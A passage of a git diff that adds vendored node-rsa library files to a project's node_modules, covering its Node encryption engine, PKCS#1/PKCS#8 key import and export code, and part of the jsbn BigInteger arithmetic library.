{type: 1}); + } else { + m = keyPair.$doPrivate(c); + return keyPair.encryptionScheme.encUnPad(m.toBuffer(keyPair.encryptedDataLength)); + } + } + }; +}; \ No newline at end of file diff --git a/node_modules/node-rsa/src/encryptEngines/node12.js b/node_modules/node-rsa/src/encryptEngines/node12.js new file mode 100644 index 00000000..86e58361 --- /dev/null +++ b/node_modules/node-rsa/src/encryptEngines/node12.js @@ -0,0 +1,56 @@ +var crypto = require('crypto'); +var constants = require('constants'); +var schemes = require('../schemes/schemes.js'); + +module.exports = function (keyPair, options) { + var jsEngine = require('./js.js')(keyPair, options); + var pkcs1Scheme = schemes.pkcs1.makeScheme(keyPair, options); + + return { + encrypt: function (buffer, usePrivate) { + if (usePrivate) { + return jsEngine.encrypt(buffer, usePrivate); + } + var padding = constants.RSA_PKCS1_OAEP_PADDING; + if (options.encryptionScheme === 'pkcs1') { + padding = constants.RSA_PKCS1_PADDING; + } + if (options.encryptionSchemeOptions && options.encryptionSchemeOptions.padding) { + padding = options.encryptionSchemeOptions.padding; + } + + var data = buffer; + if (padding === constants.RSA_NO_PADDING) { + data = pkcs1Scheme.pkcs0pad(buffer); + } + + return crypto.publicEncrypt({ + key: options.rsaUtils.exportKey('public'), + padding: padding + }, data); + }, + + decrypt: function (buffer, usePublic) { + if (usePublic) { + return jsEngine.decrypt(buffer, usePublic); + } + var padding = constants.RSA_PKCS1_OAEP_PADDING; + if (options.encryptionScheme === 'pkcs1') { + padding = constants.RSA_PKCS1_PADDING; + } + if (options.encryptionSchemeOptions && options.encryptionSchemeOptions.padding) { + padding = options.encryptionSchemeOptions.padding; + } + + var res = crypto.privateDecrypt({ + key: options.rsaUtils.exportKey('private'), + padding: padding + }, buffer); + + if (padding === constants.RSA_NO_PADDING) { + return pkcs1Scheme.pkcs0unpad(res); + } + return res; + } + }; +}; \ No newline at end of file diff --git a/node_modules/node-rsa/src/formats/components.js b/node_modules/node-rsa/src/formats/components.js new file mode 100644 index 00000000..a2753148 --- /dev/null +++ b/node_modules/node-rsa/src/formats/components.js @@ -0,0 +1,71 @@ +var _ = require('../utils')._; +var utils = require('../utils'); + +module.exports = { + privateExport: function (key, options) { + return { + n: key.n.toBuffer(), + e: key.e, + d: key.d.toBuffer(), + p: key.p.toBuffer(), + q: key.q.toBuffer(), + dmp1: key.dmp1.toBuffer(), + dmq1: key.dmq1.toBuffer(), + coeff: key.coeff.toBuffer() + }; + }, + + privateImport: function (key, data, options) { + if (data.n && data.e && data.d && data.p && data.q && data.dmp1 && data.dmq1 && data.coeff) { + key.setPrivate( + data.n, + data.e, + data.d, + data.p, + data.q, + data.dmp1, + data.dmq1, + data.coeff + ); + } else { + throw Error("Invalid key data"); + } + }, + + publicExport: function (key, options) { + return { + n: key.n.toBuffer(), + e: key.e + }; + }, + + publicImport: function (key, data, options) { + if (data.n && data.e) { + key.setPublic( + data.n, + data.e + ); + } else { + throw Error("Invalid key data"); + } + }, + + /** + * Trying autodetect and import key + * @param key + * @param data + */ + autoImport: function (key, data) { + if (data.n && data.e) { + if (data.d && data.p && data.q && data.dmp1 && data.dmq1 && data.coeff) { + module.exports.privateImport(key, data); + return true; + } else { + module.exports.publicImport(key, data); + return true; + } + } + + return false; + } +}; diff --git a/node_modules/node-rsa/src/formats/formats.js b/node_modules/node-rsa/src/formats/formats.js new file mode 100644 index 00000000..4db1fc6d --- /dev/null +++ b/node_modules/node-rsa/src/formats/formats.js @@ -0,0 +1,96 @@ +var _ = require('../utils')._; + +function formatParse(format) { + format = format.split('-'); + var keyType = 'private'; + var keyOpt = {type: 'default'}; + + for (var i = 1; i < format.length; i++) { + if (format[i]) { + switch (format[i]) { + case 'public': + keyType = format[i]; + break; + case 'private': + keyType = format[i]; + break; + case 'pem': + keyOpt.type = format[i]; + break; + case 'der': + keyOpt.type = format[i]; + break; + } + } + } + + return {scheme: format[0], keyType: keyType, keyOpt: keyOpt}; +} + +module.exports = { + pkcs1: require('./pkcs1'), + pkcs8: require('./pkcs8'), + components: require('./components'), + + isPrivateExport: function (format) { + return module.exports[format] && typeof module.exports[format].privateExport === 'function'; + }, + + isPrivateImport: function (format) { + return module.exports[format] && typeof module.exports[format].privateImport === 'function'; + }, + + isPublicExport: function (format) { + return module.exports[format] && typeof module.exports[format].publicExport === 'function'; + }, + + isPublicImport: function (format) { + return module.exports[format] && typeof module.exports[format].publicImport === 'function'; + }, + + detectAndImport: function (key, data, format) { + if (format === undefined) { + for (var scheme in module.exports) { + if (typeof module.exports[scheme].autoImport === 'function' && module.exports[scheme].autoImport(key, data)) { + return true; + } + } + } else if (format) { + var fmt = formatParse(format); + + if (module.exports[fmt.scheme]) { + if (fmt.keyType === 'private') { + module.exports[fmt.scheme].privateImport(key, data, fmt.keyOpt); + } else { + module.exports[fmt.scheme].publicImport(key, data, fmt.keyOpt); + } + } else { + throw Error('Unsupported key format'); + } + } + + return false; + }, + + detectAndExport: function (key, format) { + if (format) { + var fmt = formatParse(format); + + if (module.exports[fmt.scheme]) { + if (fmt.keyType === 'private') { + if (!key.isPrivate()) { + throw Error("This is not private key"); + } + return module.exports[fmt.scheme].privateExport(key, fmt.keyOpt); + } else { + if (!key.isPublic()) { + throw Error("This is not public key"); + } + return module.exports[fmt.scheme].publicExport(key, fmt.keyOpt); + } + } else { + throw Error('Unsupported key format'); + } + } + } +}; \ No newline at end of file diff --git a/node_modules/node-rsa/src/formats/pkcs1.js b/node_modules/node-rsa/src/formats/pkcs1.js new file mode 100644 index 00000000..5fba246d --- /dev/null +++ b/node_modules/node-rsa/src/formats/pkcs1.js @@ -0,0 +1,148 @@ +var ber = require('asn1').Ber; +var _ = require('../utils')._; +var utils = require('../utils'); + +const PRIVATE_OPENING_BOUNDARY = '-----BEGIN RSA PRIVATE KEY-----'; +const PRIVATE_CLOSING_BOUNDARY = '-----END RSA PRIVATE KEY-----'; + +const PUBLIC_OPENING_BOUNDARY = '-----BEGIN RSA PUBLIC KEY-----'; +const PUBLIC_CLOSING_BOUNDARY = '-----END RSA PUBLIC KEY-----'; + +module.exports = { + privateExport: function (key, options) { + options = options || {}; + + var n = key.n.toBuffer(); + var d = key.d.toBuffer(); + var p = key.p.toBuffer(); + var q = key.q.toBuffer(); + var dmp1 = key.dmp1.toBuffer(); + var dmq1 = key.dmq1.toBuffer(); + var coeff = key.coeff.toBuffer(); + + var length = n.length + d.length + p.length + q.length + dmp1.length + dmq1.length + coeff.length + 512; // magic + var writer = new ber.Writer({size: length}); + + writer.startSequence(); + writer.writeInt(0); + writer.writeBuffer(n, 2); + writer.writeInt(key.e); + writer.writeBuffer(d, 2); + writer.writeBuffer(p, 2); + writer.writeBuffer(q, 2); + writer.writeBuffer(dmp1, 2); + writer.writeBuffer(dmq1, 2); + writer.writeBuffer(coeff, 2); + writer.endSequence(); + + if (options.type === 'der') { + return writer.buffer; + } else { + return PRIVATE_OPENING_BOUNDARY + '\n' + utils.linebrk(writer.buffer.toString('base64'), 64) + '\n' + PRIVATE_CLOSING_BOUNDARY; + } + }, + + privateImport: function (key, data, options) { + options = options || {}; + var buffer; + + if (options.type !== 'der') { + if (Buffer.isBuffer(data)) { + data = data.toString('utf8'); + } + + if (_.isString(data)) { + var pem = utils.trimSurroundingText(data, PRIVATE_OPENING_BOUNDARY, PRIVATE_CLOSING_BOUNDARY) + .replace(/\s+|\n\r|\n|\r$/gm, ''); + buffer = Buffer.from(pem, 'base64'); + } else { + throw Error('Unsupported key format'); + } + } else if (Buffer.isBuffer(data)) { + buffer = data; + } else { + throw Error('Unsupported key format'); + } + + var reader = new ber.Reader(buffer); + reader.readSequence(); + reader.readString(2, true); // just zero + key.setPrivate( + reader.readString(2, true), // modulus + reader.readString(2, true), // publicExponent + reader.readString(2, true), // privateExponent + reader.readString(2, true), // prime1 + reader.readString(2, true), // prime2 + reader.readString(2, true), // exponent1 -- d mod (p1) + reader.readString(2, true), // exponent2 -- d mod (q-1) + reader.readString(2, true) // coefficient -- (inverse of q) mod p + ); + }, + + publicExport: function (key, options) { + options = options || {}; + + var n = key.n.toBuffer(); + var length = n.length + 512; // magic + + var bodyWriter = new ber.Writer({size: length}); + bodyWriter.startSequence(); + bodyWriter.writeBuffer(n, 2); + bodyWriter.writeInt(key.e); + bodyWriter.endSequence(); + + if (options.type === 'der') { + return bodyWriter.buffer; + } else { + return PUBLIC_OPENING_BOUNDARY + '\n' + utils.linebrk(bodyWriter.buffer.toString('base64'), 64) + '\n' + PUBLIC_CLOSING_BOUNDARY; + } + }, + + publicImport: function (key, data, options) { + options = options || {}; + var buffer; + + if (options.type !== 'der') { + if (Buffer.isBuffer(data)) { + data = data.toString('utf8'); + } + + if (_.isString(data)) { + var pem = utils.trimSurroundingText(data, PUBLIC_OPENING_BOUNDARY, PUBLIC_CLOSING_BOUNDARY) + .replace(/\s+|\n\r|\n|\r$/gm, ''); + buffer = Buffer.from(pem, 'base64'); + } + } else if (Buffer.isBuffer(data)) { + buffer = data; + } else { + throw Error('Unsupported key format'); + } + + var body = new ber.Reader(buffer); + body.readSequence(); + key.setPublic( + body.readString(0x02, true), // modulus + body.readString(0x02, true) // publicExponent + ); + }, + + /** + * Trying autodetect and import key + * @param key + * @param data + */ + autoImport: function (key, data) { + // [\S\s]* matches zero or more of any character + if (/^[\S\s]*-----BEGIN RSA PRIVATE KEY-----\s*(?=(([A-Za-z0-9+/=]+\s*)+))\1-----END RSA PRIVATE KEY-----[\S\s]*$/g.test(data)) { + module.exports.privateImport(key, data); + return true; + } + + if (/^[\S\s]*-----BEGIN RSA PUBLIC KEY-----\s*(?=(([A-Za-z0-9+/=]+\s*)+))\1-----END RSA PUBLIC KEY-----[\S\s]*$/g.test(data)) { + module.exports.publicImport(key, data); + return true; + } + + return false; + } +}; \ No newline at end of file diff --git a/node_modules/node-rsa/src/formats/pkcs8.js b/node_modules/node-rsa/src/formats/pkcs8.js new file mode 100644 index 00000000..3dd1a3c3 --- /dev/null +++ b/node_modules/node-rsa/src/formats/pkcs8.js @@ -0,0 +1,187 @@ +var ber = require('asn1').Ber; +var _ = require('../utils')._; +var PUBLIC_RSA_OID = '1.2.840.113549.1.1.1'; +var utils = require('../utils'); + +const PRIVATE_OPENING_BOUNDARY = '-----BEGIN PRIVATE KEY-----'; +const PRIVATE_CLOSING_BOUNDARY = '-----END PRIVATE KEY-----'; + +const PUBLIC_OPENING_BOUNDARY = '-----BEGIN PUBLIC KEY-----'; +const PUBLIC_CLOSING_BOUNDARY = '-----END PUBLIC KEY-----'; + +module.exports = { + privateExport: function (key, options) { + options = options || {}; + + var n = key.n.toBuffer(); + var d = key.d.toBuffer(); + var p = key.p.toBuffer(); + var q = key.q.toBuffer(); + var dmp1 = key.dmp1.toBuffer(); + var dmq1 = key.dmq1.toBuffer(); + var coeff = key.coeff.toBuffer(); + + var length = n.length + d.length + p.length + q.length + dmp1.length + dmq1.length + coeff.length + 512; // magic + var bodyWriter = new ber.Writer({size: length}); + + bodyWriter.startSequence(); + bodyWriter.writeInt(0); + bodyWriter.writeBuffer(n, 2); + bodyWriter.writeInt(key.e); + bodyWriter.writeBuffer(d, 2); + bodyWriter.writeBuffer(p, 2); + bodyWriter.writeBuffer(q, 2); + bodyWriter.writeBuffer(dmp1, 2); + bodyWriter.writeBuffer(dmq1, 2); + bodyWriter.writeBuffer(coeff, 2); + bodyWriter.endSequence(); + + var writer = new ber.Writer({size: length}); + writer.startSequence(); + writer.writeInt(0); + writer.startSequence(); + writer.writeOID(PUBLIC_RSA_OID); + writer.writeNull(); + writer.endSequence(); + writer.writeBuffer(bodyWriter.buffer, 4); + writer.endSequence(); + + if (options.type === 'der') { + return writer.buffer; + } else { + return PRIVATE_OPENING_BOUNDARY + '\n' + utils.linebrk(writer.buffer.toString('base64'), 64) + '\n' + PRIVATE_CLOSING_BOUNDARY; + } + }, + + privateImport: function (key, data, options) { + options = options || {}; + var buffer; + + if (options.type !== 'der') { + if (Buffer.isBuffer(data)) { + data = data.toString('utf8'); + } + + if (_.isString(data)) { + var pem = utils.trimSurroundingText(data, PRIVATE_OPENING_BOUNDARY, PRIVATE_CLOSING_BOUNDARY) + .replace('-----END PRIVATE KEY-----', '') + .replace(/\s+|\n\r|\n|\r$/gm, ''); + buffer = Buffer.from(pem, 'base64'); + } else { + throw Error('Unsupported key format'); + } + } else if (Buffer.isBuffer(data)) { + buffer = data; + } else { + throw Error('Unsupported key format'); + } + + var reader = new ber.Reader(buffer); + reader.readSequence(); + reader.readInt(0); + var header = new ber.Reader(reader.readString(0x30, true)); + + if (header.readOID(0x06, true) !== PUBLIC_RSA_OID) { + throw Error('Invalid Public key format'); + } + + var body = new ber.Reader(reader.readString(0x04, true)); + body.readSequence(); + body.readString(2, true); // just zero + key.setPrivate( + body.readString(2, true), // modulus + body.readString(2, true), // publicExponent + body.readString(2, true), // privateExponent + body.readString(2, true), // prime1 + body.readString(2, true), // prime2 + body.readString(2, true), // exponent1 -- d mod (p1) + body.readString(2, true), // exponent2 -- d mod (q-1) + body.readString(2, true) // coefficient -- (inverse of q) mod p + ); + }, + + publicExport: function (key, options) { + options = options || {}; + + var n = key.n.toBuffer(); + var length = n.length + 512; // magic + + var bodyWriter = new ber.Writer({size: length}); + bodyWriter.writeByte(0); + bodyWriter.startSequence(); + bodyWriter.writeBuffer(n, 2); + bodyWriter.writeInt(key.e); + bodyWriter.endSequence(); + + var writer = new ber.Writer({size: length}); + writer.startSequence(); + writer.startSequence(); + writer.writeOID(PUBLIC_RSA_OID); + writer.writeNull(); + writer.endSequence(); + writer.writeBuffer(bodyWriter.buffer, 3); + writer.endSequence(); + + if (options.type === 'der') { + return writer.buffer; + } else { + return PUBLIC_OPENING_BOUNDARY + '\n' + utils.linebrk(writer.buffer.toString('base64'), 64) + '\n' + PUBLIC_CLOSING_BOUNDARY; + } + }, + + publicImport: function (key, data, options) { + options = options || {}; + var buffer; + + if (options.type !== 'der') { + if (Buffer.isBuffer(data)) { + data = data.toString('utf8'); + } + + if (_.isString(data)) { + var pem = utils.trimSurroundingText(data, PUBLIC_OPENING_BOUNDARY, PUBLIC_CLOSING_BOUNDARY) + .replace(/\s+|\n\r|\n|\r$/gm, ''); + buffer = Buffer.from(pem, 'base64'); + } + } else if (Buffer.isBuffer(data)) { + buffer = data; + } else { + throw Error('Unsupported key format'); + } + + var reader = new ber.Reader(buffer); + reader.readSequence(); + var header = new ber.Reader(reader.readString(0x30, true)); + + if (header.readOID(0x06, true) !== PUBLIC_RSA_OID) { + throw Error('Invalid Public key format'); + } + + var body = new ber.Reader(reader.readString(0x03, true)); + body.readByte(); + body.readSequence(); + key.setPublic( + body.readString(0x02, true), // modulus + body.readString(0x02, true) // publicExponent + ); + }, + + /** + * Trying autodetect and import key + * @param key + * @param data + */ + autoImport: function (key, data) { + if (/^[\S\s]*-----BEGIN PRIVATE KEY-----\s*(?=(([A-Za-z0-9+/=]+\s*)+))\1-----END PRIVATE KEY-----[\S\s]*$/g.test(data)) { + module.exports.privateImport(key, data); + return true; + } + + if (/^[\S\s]*-----BEGIN PUBLIC KEY-----\s*(?=(([A-Za-z0-9+/=]+\s*)+))\1-----END PUBLIC KEY-----[\S\s]*$/g.test(data)) { + module.exports.publicImport(key, data); + return true; + } + + return false; + } +}; diff --git a/node_modules/node-rsa/src/libs/jsbn.js b/node_modules/node-rsa/src/libs/jsbn.js new file mode 100644 index 00000000..6eb3cd40 --- /dev/null +++ b/node_modules/node-rsa/src/libs/jsbn.js @@ -0,0 +1,1540 @@ +/* + * Basic JavaScript BN library - subset useful for RSA encryption. + * + * Copyright (c) 2003-2005 Tom Wu + * All Rights Reserved. + * + * Permission is hereby granted, free of charge, to any person obtaining + * a copy of this software and associated documentation files (the + * "Software"), to deal in the Software without restriction, including + * without limitation the rights to use, copy, modify, merge, publish, + * distribute, sublicense, and/or sell copies of the Software, and to + * permit persons to whom the Software is furnished to do so, subject to + * the following conditions: + * + * The above copyright notice and this permission notice shall be + * included in all copies or substantial portions of the Software. + * + * THE SOFTWARE IS PROVIDED "AS-IS" AND WITHOUT WARRANTY OF ANY KIND, + * EXPRESS, IMPLIED OR OTHERWISE, INCLUDING WITHOUT LIMITATION, ANY + * WARRANTY OF MERCHANTABILITY OR FITNESS FOR A PARTICULAR PURPOSE. + * + * IN NO EVENT SHALL TOM WU BE LIABLE FOR ANY SPECIAL, INCIDENTAL, + * INDIRECT OR CONSEQUENTIAL DAMAGES OF ANY KIND, OR ANY DAMAGES WHATSOEVER + * RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER OR NOT ADVISED OF + * THE POSSIBILITY OF DAMAGE, AND ON ANY THEORY OF LIABILITY, ARISING OUT + * OF OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE. + * + * In addition, the following condition applies: + * + * All redistributions must retain an intact copy of this copyright notice + * and disclaimer. + */ + +/* + * Added Node.js Buffers support + * 2014 rzcoder + */ + +var crypt = require('crypto'); +var _ = require('../utils')._; + +// Bits per digit +var dbits; + +// JavaScript engine analysis +var canary = 0xdeadbeefcafe; +var j_lm = ((canary & 0xffffff) == 0xefcafe); + +// (public) Constructor +function BigInteger(a, b) { + if (a != null) { + if ("number" == typeof a) { + this.fromNumber(a, b); + } else if (Buffer.isBuffer(a)) { + this.fromBuffer(a); + } else if (b == null && "string" != typeof a) { + this.fromByteArray(a); + } else { + this.fromString(a, b); + } + } +} + +// return new, unset BigInteger +function nbi() { + return new BigInteger(null); +} + +// am: Compute w_j += (x*this_i), propagate carries, +// c is initial carry, returns final carry. +// c < 3*dvalue, x < 2*dvalue, this_i < dvalue +// We need to select the fastest one that works in this environment. + +// am1: use a single mult and divide to get the high bits, +// max digit bits should be 26 because +// max internal value = 2*dvalue^2-2*dvalue (< 2^53) +function am1(i, x, w, j, c, n) { + while (--n >= 0) { + var v = x * this[i++] + w[j] + c; + c = Math.floor(v / 0x4000000); + w[j++] = v & 0x3ffffff; + } + return c; +} +// am2 avoids a big mult-and-extract completely. +// Max digit bits should be <= 30 because we do bitwise ops +// on values up to 2*hdvalue^2-hdvalue-1 (< 2^31) +function am2(i, x, w, j, c, n) { + var xl = x & 0x7fff, xh = x >> 15; + while (--n >= 0) { + var l = this[i] & 0x7fff; + var h = this[i++] >> 15; + var m = xh * l + h * xl; + l = xl * l + ((m & 0x7fff) << 15) + w[j] + (c & 0x3fffffff); + c = (l >>> 30) + (m >>> 15) + xh * h + (c >>> 30); + w[j++] = l & 0x3fffffff; + } + return c; +} +// Alternately, set max digit bits to 28 since some +// browsers slow down when dealing with 32-bit numbers. +function am3(i, x, w, j, c, n) { + var xl = x & 0x3fff, xh = x >> 14; + while (--n >= 0) { + var l = this[i] & 0x3fff; + var h = this[i++] >> 14; + var m = xh * l + h * xl; + l = xl * l + ((m & 0x3fff) << 14) + w[j] + c; + c = (l >> 28) + (m >> 14) + xh * h; + w[j++] = l & 0xfffffff; + } + return c; +} + +// We need to select the fastest one that works in this environment. +//if (j_lm && (navigator.appName == "Microsoft Internet Explorer")) { +// BigInteger.prototype.am = am2; +// dbits = 30; +//} else if (j_lm && (navigator.appName != "Netscape")) { +// BigInteger.prototype.am = am1; +// dbits = 26; +//} else { // Mozilla/Netscape seems to prefer am3 +// BigInteger.prototype.am = am3; +// dbits = 28; +//} + +// For node.js, we pick am3 with max dbits to 28. +BigInteger.prototype.am = am3; +dbits = 28; + +BigInteger.prototype.DB = dbits; +BigInteger.prototype.DM = ((1 << dbits) - 1); +BigInteger.prototype.DV = (1 << dbits); + +var BI_FP = 52; +BigInteger.prototype.FV = Math.pow(2, BI_FP); +BigInteger.prototype.F1 = BI_FP - dbits; +BigInteger.prototype.F2 = 2 * dbits - BI_FP; + +// Digit conversions +var BI_RM = "0123456789abcdefghijklmnopqrstuvwxyz"; +var BI_RC = new Array(); +var rr, vv; +rr = "0".charCodeAt(0); +for (vv = 0; vv <= 9; ++vv) BI_RC[rr++] = vv; +rr = "a".charCodeAt(0); +for (vv = 10; vv < 36; ++vv) BI_RC[rr++] = vv; +rr = "A".charCodeAt(0); +for (vv = 10; vv < 36; ++vv) BI_RC[rr++] = vv; + +function int2char(n) { + return BI_RM.charAt(n); +} +function intAt(s, i) { + var c = BI_RC[s.charCodeAt(i)]; + return (c == null) ? -1 : c; +} + +// (protected) copy this to r +function bnpCopyTo(r) { + for (var i = this.t - 1; i >= 0; --i) r[i] = this[i]; + r.t = this.t; + r.s = this.s; +} + +// (protected) set from integer value x, -DV <= x < DV +function bnpFromInt(x) { + this.t = 1; + this.s = (x < 0) ? -1 : 0; + if (x > 0) this[0] = x; + else if (x < -1) this[0] = x + DV; + else this.t = 0; +} + +// return bigint initialized to value +function nbv(i) { + var r = nbi(); + r.fromInt(i); + return r; +} + +// (protected) set from string and radix +function bnpFromString(data, radix, unsigned) { + var k; + switch (radix) { + case 2: + k = 1; + break; + case 4: + k = 2; + break; + case 8: + k = 3; + break; + case 16: + k = 4; + break; + case 32: + k = 5; + break; + case 256: + k = 8; + break; + default: + this.fromRadix(data, radix); + return; + } + + this.t = 0; + this.s = 0; + + var i = data.length; + var mi = false; + var sh = 0; + + while (--i >= 0) { + var x = (k == 8) ? data[i] & 0xff : intAt(data, i); + if (x < 0) { + if (data.charAt(i) == "-") mi = true; + continue; + } + mi = false; + if (sh === 0) + this[this.t++] = x; + else if (sh + k > this.DB) { + this[this.t - 1] |= (x & ((1 << (this.DB - sh)) - 1)) << sh; + this[this.t++] = (x >> (this.DB - sh)); + } + else + this[this.t - 1] |= x << sh; + sh += k; + if (sh >= this.DB) sh -= this.DB; + } + if ((!unsigned) && k == 8 && (data[0] & 0x80) != 0) { + this.s = -1; + if (sh > 0) this[this.t - 1] |= ((1 << (this.DB - sh)) - 1) << sh; + } + this.clamp(); + if (mi) BigInteger.ZERO.subTo(this, this); +} + +function bnpFromByteArray(a, unsigned) { + this.fromString(a, 256, unsigned) +} + +function bnpFromBuffer(a) { + this.fromString(a, 256, true) +} + +// (protected) clamp off excess high words +function bnpClamp() { + var c = this.s & this.DM; + while (this.t > 0 && this[this.t - 1] == c) --this.t; +} + +// (public) return string representation in given radix +function bnToString(b) { + if (this.s < 0) return "-" + this.negate().toString(b); + var k; + if (b == 16) k = 4; + else if (b == 8) k = 3; + else if (b == 2) k = 1; + else if (b == 32) k = 5; + else if (b == 4) k = 2; + else return this.toRadix(b); + var km = (1 << k) - 1, d, m = false, r = "", i = this.t; + var p = this.DB - (i * this.DB) % k; + if (i-- > 0) { + if (p < this.DB && (d = this[i] >> p) > 0) { + m = true; + r = int2char(d); + } + while (i >= 0) { + if (p < k) { + d = (this[i] & ((1 << p) - 1)) << (k - p); + d |= this[--i] >> (p += this.DB - k); + } + else { + d = (this[i] >> (p -= k)) & km; + if (p <= 0) { + p += this.DB; + --i; + } + } + if (d > 0) m = true; + if (m) r += int2char(d); + } + } + return m ? r : "0"; +} + +// (public) -this +function bnNegate() { + var r = nbi(); + BigInteger.ZERO.subTo(this, r); + return r; +} + +// (public) |this| +function bnAbs() { + return (this.s < 0) ? this.negate() : this; +} + +// (public) return + if this > a, - if this < a, 0 if equal +function bnCompareTo(a) { + var r = this.s - a.s; + if (r != 0) return r; + var i = this.t; + r = i - a.t; + if (r != 0) return (this.s < 0) ? -r : r; + while (--i >= 0) if ((r = this[i] - a[i]) != 0) return r; + return 0; +} + +// returns bit length of the integer x +function nbits(x) { + var r = 1, t; + if ((t = x >>> 16) != 0) { + x = t; + r += 16; + } + if ((t = x >> 8) != 0) { + x = t; + r += 8; + } + if ((t = x >> 4) != 0) { + x = t; + r += 4; + } + if ((t = x >> 2) != 0) { + x = t; + r += 2; + } + if ((t = x >> 1) != 0) { + x = t; + r += 1; + } + return r; +} + +// (public) return the number of bits in "this" +function bnBitLength() { + if (this.t <= 0) return 0; + return this.DB * (this.t - 1) + nbits(this[this.t - 1] ^ (this.s & this.DM)); +} + +// (protected) r = this << n*DB +function bnpDLShiftTo(n, r) { + var i; + for (i = this.t - 1; i >= 0; --i) r[i + n] = this[i]; + for (i = n - 1; i >= 0; --i) r[i] = 0; + r.t = this.t + n; + r.s = this.s; +} + +// (protected) r = this >> n*DB +function bnpDRShiftTo(n, r) { + for (var i = n; i < this.t; ++i) r[i - n] = this[i]; + r.t = Math.max(this.t - n, 0); + r.s = this.s; +} + +// (protected) r = this << n +function bnpLShiftTo(n, r) { + var bs = n % this.DB; + var cbs = this.DB - bs; + var bm = (1 << cbs) - 1; + var ds = Math.floor(n / this.DB), c = (this.s << bs) & this.DM, i; + for (i = this.t - 1; i >= 0; --i) { + r[i + ds + 1] = (this[i] >> cbs) | c; + c = (this[i] & bm) << bs; + } + for (i = ds - 1; i >= 0; --i) r[i] = 0; + r[ds] = c; + r.t = this.t + ds + 1; + r.s = this.s; + r.clamp(); +} + +// (protected) r = this >> n +function bnpRShiftTo(n, r) { + r.s = this.s; + var ds = Math.floor(n / this.DB); + if (ds >= this.t) { + r.t = 0; + return; + } + var bs = n % this.DB; + var cbs = this.DB - bs; + var bm = (1 << bs) - 1; + r[0] = this[ds] >> bs; + for (var i = ds + 1; i < this.t; ++i) { + r[i - ds - 1] |= (this[i] & bm) << cbs; + r[i - ds] = this[i] >> bs; + } + if (bs > 0) r[this.t - ds - 1] |= (this.s & bm) << cbs; + r.t = this.t - ds; + r.clamp(); +} + +// (protected) r = this - a +function bnpSubTo(a, r) { + var i = 0, c = 0, m = Math.min(a.t, this.t); + while (i < m) { + c += this[i] - a[i]; + r[i++] = c & this.DM; + c >>= this.DB; + } + if (a.t < this.t) { + c -= a.s; + while (i < this.t) { + c += this[i]; + r[i++] = c & this.DM; + c >>= this.DB; + } + c += this.s; + } + else { + c += this.s; + while (i < a.t) { + c -= a[i]; + r[i++] = c & this.DM; + c >>= this.DB; + } + c -= a.s; + } + r.s = (c < 0) ? -1 : 0; + if (c < -1) r[i++] = this.DV + c; + else if (c > 0) r[i++] = c; + r.t = i; + r.clamp(); +} + +// (protected) r = this * a, r != this,a (HAC 14.12) +// "this" should be the larger one if appropriate. +function bnpMultiplyTo(a, r) { + var x = this.abs(), y = a.abs(); + var i = x.t; + r.t = i + y.t; + while (--i >= 0) r[i] = 0; + for (i = 0; i < y.t; ++i) r[i + x.t] = x.am(0, y[i], r, i, 0, x.t); + r.s = 0; + r.clamp(); + if (this.s != a.s) BigInteger.ZERO.subTo(r, r); +} + +// (protected) r = this^2, r != this (HAC 14.16) +function bnpSquareTo(r) { + var x = this.abs(); + var i = r.t = 2 * x.t; + while (--i >= 0) r[i] = 0; + for (i = 0; i < x.t - 1; ++i) { + var c = x.am(i, x[i], r, 2 * i, 0, 1); + if ((r[i + x.t] += x.am(i + 1, 2 * x[i], r, 2 * i + 1, c, x.t - i - 1)) >= x.DV) { + r[i + x.t] -= x.DV; + r[i + x.t + 1] = 1; + } + } + if (r.t > 0) r[r.t - 1] += x.am(i, x[i], r, 2 * i, 0, 1); + r.s = 0; + r.clamp(); +} + +// (protected) divide this by m, quotient and remainder to q, r (HAC 14.20) +// r != q, this != m. q or r may be null. +function bnpDivRemTo(m, q, r) { + var pm = m.abs(); + if (pm.t <= 0) return; + var pt = this.abs(); + if (pt.t < pm.t) { + if (q != null) q.fromInt(0); + if (r != null) this.copyTo(r); + return; + } + if (r == null) r = nbi(); + var y = nbi(), ts = this.s, ms = m.s; + var nsh = this.DB - nbits(pm[pm.t - 1]); // normalize modulus + if (nsh > 0) { + pm.lShiftTo(nsh, y); + pt.lShiftTo(nsh, r); + } + else { + pm.copyTo(y); + pt.copyTo(r); + } + var ys = y.t; + var y0 = y[ys - 1]; + if (y0 === 0) return; + var yt = y0 * (1 << this.F1) + ((ys > 1) ? y[ys - 2] >> this.F2 : 0); + var d1 = this.FV / yt, d2 = (1 << this.F1) / yt, e = 1 << this.F2; + var i = r.t, j = i - ys, t = (q == null) ? nbi() : q; + y.dlShiftTo(j, t); + if (r.compareTo(t) >= 0) { + r[r.t++] = 1; + r.subTo(t, r); + } + BigInteger.ONE.dlShiftTo(ys, t); + t.subTo(y, y); // "negative" y so we can replace sub with am later + while (y.t < ys) y[y.t++] = 0; + while (--j >= 0) { + // Estimate quotient digit + var qd = (r[--i] == y0) ? this.DM : Math.floor(r[i] * d1 + (r[i - 1] + e) * d2); + if ((r[i] += y.am(0, qd, r, j, 0, ys)) < qd) { // Try it out + y.dlShiftTo(j, t); + r.subTo(t, r); + while (r[i] < --qd) r.subTo(t, r); + } + } + if (q != null) { + r.drShiftTo(ys, q); + if (ts != ms) BigInteger.ZERO.subTo(q, q); + } + r.t = ys; + r.clamp(); + if (nsh > 0) r.rShiftTo(nsh, r); // Denormalize remainder + if (ts < 0) BigInteger.ZERO.subTo(r, r); +} + +// (public) this mod a +function bnMod(a) { + var r = nbi(); + this.abs().divRemTo(a, null, r); + if (this.s < 0 && r.compareTo(BigInteger.ZERO) > 0) a.subTo(r, r); + return r; +} + +// Modular reduction using "classic" algorithm +function Classic(m) { + this.m = m; +} +function cConvert(x) { + if (x.s < 0 || x.compareTo(this.m) >= 0) return x.mod(this.m); + else return x; +} +function cRevert(x) { + return x; +} +function cReduce(x) { + x.divRemTo(this.m, null, x); +} +function cMulTo(x, y, r) { + x.multiplyTo(y, r); + this.reduce(r); +} +function cSqrTo(x, r) { + x.squareTo(r); + this.reduce(r); +} + +Classic.prototype.convert = cConvert; +Classic.prototype.revert = cRevert; +Classic.prototype.reduce = cReduce; +Classic.prototype.mulTo = cMulTo; +Classic.prototype.sqrTo = cSqrTo; + +// (protected) return "-1/this % 2^DB"; useful for Mont. reduction +// justification: +// xy == 1 (mod m) +// xy = 1+km +// xy(2-xy) = (1+km)(1-km) +// x[y(2-xy)] = 1-k^2m^2 +// x[y(2-xy)] == 1 (mod 